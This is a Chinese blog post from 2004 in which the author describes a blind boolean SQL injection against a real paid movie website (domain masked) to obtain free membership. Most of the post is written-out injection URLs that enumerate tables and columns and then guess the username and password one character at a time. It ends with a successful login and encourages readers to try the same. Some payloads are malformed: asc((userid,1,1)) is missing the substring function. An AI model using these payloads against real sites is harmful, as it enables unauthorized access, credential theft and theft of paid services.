一次成功的SQL注入

今天想看电影,找了几个电影网站都是收费的。痛苦,穷人,无奈中...
于是想弄个用户和密码来看看。想到了sql注入。
开始用
http://www.XXX.com/movie.asp?id=126 and 1=1  试了一下
发现没报错。哈哈。有希望。。

接着再来
http://www.XXX.com/movie.asp?id=126 and (select count(*) from user)>=0
出错。。。说明没有user这个表。。再试。。
中途试了N多次,,省约
这条
http://www.XXX.com/movie.asp?id=126 and (select count(*) from users)>=0
成功了。。说明库里有users表。。接下来表里的用户和密码字段。用
http://www.XXX.com/movie.asp?id=126 and (select count(user) from users)>=0 
错误。。。
中途又试了N次。。最后
http://www.XXX.com/movie.asp?id=126 and (select count(userid) from users)>=0
成功了。。接着再来。。还只拿到用户名字段。。
密码字段一下就成功了。。
http://www.XXX.com/movie.asp?id=126 and (select count(password) from users)>=0

这下有信息了。。接着猜用户名。。先拿到用户名的长度。
http://www.XXX.com/movie.asp?id=126 and (select top 1 len(userid) from users)>0 成功
http://www.XXX.com/movie.asp?id=126 and (select top 1 len(userid) from users)>1 成功
http://www.XXX.com/movie.asp?id=126 and (select top 1 len(userid) from users)>2 成功
http://www.XXX.com/movie.asp?id=126 and (select top 1 len(userid) from users)>3 成功
http://www.XXX.com/movie.asp?id=126 and (select top 1 len(userid) from users)>4 成功
http://www.XXX.com/movie.asp?id=126 and (select top 1 len(userid) from users)>5 成功
http://www.XXX.com/movie.asp?id=126 and (select top 1 len(userid) from users)>6 错误

由上面得出用户名的长度为:6位。先不管他密码加密没加密。。拿到用户名再说。。接着来。。

http://www.XXX.com/movie.asp?id=126 and (select top 1 asc((userid,1,1)) from users)>47 成功
http://www.XXX.com/movie.asp?id=126 and (select top 1 asc((userid,1,1)) from users)>57 失败
得出用户名的第一位是数字。。数字的范围就小了很容易得到。。
http://www.XXX.com/movie.asp?id=126 and (select top 1 asc((userid,1,1)) from users)>48 成功
http://www.XXX.com/movie.asp?id=126 and (select top 1 asc((userid,1,1)) from users)>49 成功
http://www.XXX.com/movie.asp?id=126 and (select top 1 asc((userid,1,1)) from users)>50 成功
http://www.XXX.com/movie.asp?id=126 and (select top 1 asc((userid,1,1)) from users)>51 成功
http://www.XXX.com/movie.asp?id=126 and (select top 1 asc((userid,1,1)) from users)>52 成功
http://www.XXX.com/movie.asp?id=126 and (select top 1 asc((userid,1,1)) from users)>53 成功
http://www.XXX.com/movie.asp?id=126 and (select top 1 asc((userid,1,1)) from users)>54 错误

这样得到第一位是6。。接着上面的来。。一直做到asc((user,6,1))  一位一位的猜出用户名。。

经过了一直这样的猜解终于得得了用户名为:664306  全部为数字。这给猜解过程减少了很多步骤。。是我运气好吧。

用户名拿到了接着就是密码了。。因怕密码被md5加密。。所以我没报多大希望了。先用len试一下它的长度。如果太长就算了。。猜出用户名对我来说都是很大的进步了。。因为超过12位的密码多半是加密了的。这样拿到也没什么用。。

http://www.XXX.com/movie.asp?id=126 and (select top 1 len(password) from users)>12 错误

说明密码没有大于12位。这样有可能没有被加密。于是慢慢减少后面的数字。。最后到
http://www.XXX.com/movie.asp?id=126 and (select top 1 len(password) from users)>5 成功

又是6位?难道用户和密码一样。呵呵。试了一下。果然成功。。获得了一个黄金会员。。

用户和密码一样又减少了我不少步骤。。

如果用户和密码不一样。。就照猜用户的方法慢慢猜密码。只要它的密码没加密。就一定能拿到。祝朋友们好运。。

这是小弟在这里看了教程后第一次试验结果。。将它写成一个贴子发到这里。。表示对这里的感谢。。

还请各位大哥多多指点一下小弟。。

2004年6月19日 12:37

href="http://dotnet.mblogger.cn/yefengwz/Services/Pingback.aspx" rel="pingback">
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值